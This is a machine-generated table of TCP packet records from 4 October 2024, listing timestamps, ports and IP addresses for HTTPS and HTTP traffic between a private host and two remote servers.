Oct 4, 2024 11:22:54.654598951 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.677398920 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.677422047 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.677474976 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.677481890 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.677526951 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.679945946 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.679969072 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.680012941 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.680022001 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.680043936 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.680058002 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.683136940 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.683155060 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.683222055 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.683229923 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.683274984 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.686093092 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.686109066 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.686184883 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.686198950 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.686258078 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.688747883 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.688762903 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.688839912 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.688852072 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.688882113 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.688901901 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.691179037 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.691195965 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.691260099 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.691274881 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.691329956 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.693672895 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.693689108 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.693759918 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.693773985 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.693844080 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.746680975 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.746697903 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.746835947 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.746906996 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.746978045 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.769845009 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.769861937 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.769979000 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.770006895 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.770067930 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.772165060 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.772181034 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.772268057 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.772281885 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.772337914 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.774673939 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.774688959 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.774749041 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.774764061 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.774816036 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.777048111 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.777067900 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.777116060 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.777139902 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.777168036 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.777189016 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.778594971 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.778611898 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.778649092 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.778811932 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.778826952 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.778877974 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.780473948 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.780493021 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.780591965 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.780606031 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.780662060 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.782399893 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.782418013 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.782495022 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.782509089 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.782560110 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.841402054 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.841420889 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.841484070 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.841506958 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.841619968 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.844836950 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.844866037 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.844934940 CEST	443	49732	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:54.844934940 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.844985008 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.845465899 CEST	49732	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:54.906531096 CEST	49730	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:54.907514095 CEST	49733	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:54.914793968 CEST	80	49730	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:54.914813042 CEST	80	49733	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:54.914875984 CEST	49730	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:54.914915085 CEST	49733	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:54.915011883 CEST	49733	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:54.920068026 CEST	80	49733	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:55.760292053 CEST	80	49733	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:55.760607004 CEST	49733	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:55.761554003 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:55.761593103 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:55.761676073 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:55.761936903 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:55.761951923 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:55.772792101 CEST	80	49733	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:55.772877932 CEST	49733	80	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:56.271437883 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:56.275099039 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:56.275125980 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:57.086482048 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:57.086599112 CEST	443	49734	188.114.96.3	192.168.2.4
Oct 4, 2024 11:22:57.086749077 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:57.087138891 CEST	49734	443	192.168.2.4	188.114.96.3
Oct 4, 2024 11:22:57.088242054 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:57.088289022 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:57.088387012 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:57.088567972 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:57.088583946 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:57.558537006 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:57.559696913 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:57.559767008 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281378984 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281426907 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281456947 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281486034 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281511068 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281527042 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.281565905 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.281582117 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.281610966 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.282048941 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.282227039 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.282258034 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.282272100 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.282282114 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.282311916 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.282321930 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.282330990 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.282378912 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.286416054 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.333024025 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.371643066 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.371887922 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.371928930 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.371959925 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.371964931 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.371989965 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.372042894 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.372086048 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.372107983 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.372868061 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.372912884 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.372942924 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.372967005 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.372967005 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.372982979 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.373012066 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.373518944 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.373548031 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.373575926 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.373596907 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.373646975 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.374722958 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.374773979 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.374802113 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.374830008 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.374845982 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.374911070 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.375133991 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.375180006 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.375209093 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.375232935 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.375235081 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.375247002 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.375281096 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.376703978 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.376769066 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.376785040 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.426820040 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.459491968 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.459964991 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.459997892 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.460037947 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.460057020 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.460131884 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.460345030 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.460417986 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.461092949 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.461131096 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.461160898 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.461175919 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.461224079 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.461723089 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.461791039 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.461796999 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.461813927 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.461859941 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.461885929 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.462533951 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.462600946 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.463269949 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.463340998 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.464056969 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.464126110 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.464150906 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.464209080 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.464951038 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.464988947 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.465009928 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.465019941 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.465046883 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.465058088 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.465708017 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.465765953 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.465775013 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.465806961 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.465837002 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.465851068 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.466523886 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.466588020 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.547857046 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.547960997 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.548063993 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.548147917 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.548810959 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.548882008 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.548897982 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.548933983 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.548963070 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.548979998 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.549705029 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.549768925 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.550438881 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.550503016 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.550523996 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.550584078 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.551373959 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.551443100 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.551515102 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.551575899 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.552190065 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.552253008 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.553013086 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.553081036 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.553091049 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.553107023 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.553169012 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.553231955 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.553862095 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.553927898 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.553929090 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.553940058 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.553987980 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.554747105 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.554814100 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.555324078 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.555419922 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.555478096 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.555542946 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.556277037 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.556339025 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.556361914 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.556427002 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.556463957 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.556526899 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.557423115 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.557483912 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.557545900 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.557616949 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.558288097 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.558337927 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.558357954 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.558371067 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.558389902 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.558423042 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.558444977 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.558459044 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.558479071 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.559169054 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.559226990 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.559241056 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.559298038 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.640214920 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640230894 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640271902 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640326977 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.640347004 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640428066 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.640533924 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640578985 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.640578985 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640599966 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.640621901 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.640665054 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.640665054 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.643938065 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.643955946 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.644094944 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.644110918 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.645303011 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.645323992 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.645384073 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.645411015 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.645442009 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.647032976 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.647047997 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.647104025 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.647123098 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.647150993 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.647974968 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.647995949 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.648041010 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.648055077 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.648081064 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.648865938 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.648881912 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.648943901 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.648961067 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.650053978 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.650074959 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.650122881 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.650136948 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.650165081 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.692449093 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.728445053 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.728472948 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.728555918 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.728568077 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.728610992 CEST	49735	443	192.168.2.4	188.114.97.3
Oct 4, 2024 11:22:58.730032921 CEST	443	49735	188.114.97.3	192.168.2.4
Oct 4, 2024 11:22:58.730050087 CEST	443	49735	188.114.97.3	192.168.2.4
